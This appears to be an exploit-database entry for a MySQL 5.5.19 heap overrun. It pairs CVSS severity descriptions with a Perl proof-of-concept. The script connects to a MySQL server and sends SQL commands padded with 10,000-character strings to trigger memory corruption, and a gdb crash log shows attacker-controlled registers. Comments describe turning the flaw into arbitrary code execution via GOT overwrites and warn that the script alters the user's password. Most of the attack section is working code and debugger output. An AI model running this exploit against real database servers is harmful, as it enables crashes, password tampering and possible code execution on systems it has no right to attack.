The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
# MySQL Heap Overrun
# tested for the latest version of mysql server on a SuSE Linux system
#
# As seen below $edx and $edi are fully controlled,
# the current instruction is
# => 0x83a6b24 <free_root+180>: mov (%edx),%edi
# this means we landed in a place where 4 bytes can be controlled by 4 bytes
# with this function pointers and GOT entries can be rewritten to execute arbritrary code
#
# a user account (with less privileges) is needed
# beware: this script will change the users password to an undefined value
#
=for comment
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xa86b3b70 (LWP 9219)]
free_root (root=0x8e7c714, MyFlags=1) at /root/mysql-5.5.19/mysys/my_alloc.c:369
369 old=next; next= next->next;
(gdb) bt
#0 free_root (root=0x8e7c714, MyFlags=1) at /root/mysql-5.5.19/mysys/my_alloc.c:369
#1 0x082a2e9f in cleanup (thd=0x8e7b9b8, all=true) at /root/mysql-5.5.19/sql/sql_class.h:1709
#2 ha_rollback_trans (thd=0x8e7b9b8, all=true) at /root/mysql-5.5.19/sql/handler.cc:1401
#3 0x0824a747 in trans_rollback (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/transaction.cc:260
#4 0x081897a7 in THD::cleanup (this=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_class.cc:1271
#5 0x08140fc3 in thd_cleanup (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/mysqld.cc:2026
#6 unlink_thd (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/mysqld.cc:2075
#7 0x08141088 in one_thread_per_connection_end (thd=0x8e7b9b8, put_in_cache=true) at /root/mysql-5.5.19/sql/mysqld.cc:2188
#8 0x0823eab3 in do_handle_one_connection (thd_arg=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_connect.cc:796
#9 0x0823ebbc in handle_one_connection (arg=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_connect.cc:708
#10 0xb7744b05 in start_thread () from /lib/libpthread.so.0
#11 0xb750fd5e in clone () from /lib/libc.so.6
(gdb) i r
eax 0x8ec63b8 149709752
ecx 0xa86b326c -1469369748
edx 0x5a5a5a5a 1515870810
ebx 0x880eff4 142667764
esp 0xa86b31b0 0xa86b31b0
ebp 0xa86b31d8 0xa86b31d8
esi 0x8e7c714 149407508
edi 0x5a5a5a5a 1515870810
eip 0x83a6b24 0x83a6b24 <free_root+180>
eflags 0x210293 [ CF AF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/10i $eip
=> 0x83a6b24 <free_root+180>: mov (%edx),%edi
0x83a6b26 <free_root+182>: je 0x83a6b33 <free_root+195>
0x83a6b28 <free_root+184>: mov %edx,(%esp)
0x83a6b2b <free_root+187>: call 0x83acb70 <my_free>
0x83a6b30 <free_root+192>: mov 0x8(%esi),%eax
0x83a6b33 <free_root+195>: test %edi,%edi
0x83a6b35 <free_root+197>: jne 0x83a6b20 <free_root+176>
0x83a6b37 <free_root+199>: test %eax,%eax
0x83a6b39 <free_root+201>: movl $0x0,(%esi)
0x83a6b3f <free_root+207>: movl $0x0,0x4(%esi)
(gdb)
=cut
use Net::MySQL;
use Encode;
$|=1;
my $mysql = Net::MySQL->new(
hostname => '192.168.2.3',
database => "test",
user => "user",
password => "test",
debug => 0,
port => 3306,
);
@commands = ('USE d', 'SHOW TABLES FROM d', "DESCRIBE t", "SHOW FIELDS FROM t", "SHOW COLUMNS FROM t", "SHOW INDEX FROM t",
"CREATE TABLE table_name (c CHAR(1))", "DROP TABLE t", "ALTER TABLE t DROP c",
"DELETE FROM t WHERE 1=1", "UPDATE t SET a=a","SET PASSWORD=PASSWORD('p')");
foreach my $command (@commands) {
for ($k=0;$k<length($command);$k++) {
$c = substr($command, 0, $k) . "Z" x 10000 . substr($command, $k+1);
$c2 = substr($command, 0, $k) . "AAAA..AA" . substr($command, $k+1);
print "$c2";
$mysql->query($c);
}
}
$mysql->close;
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum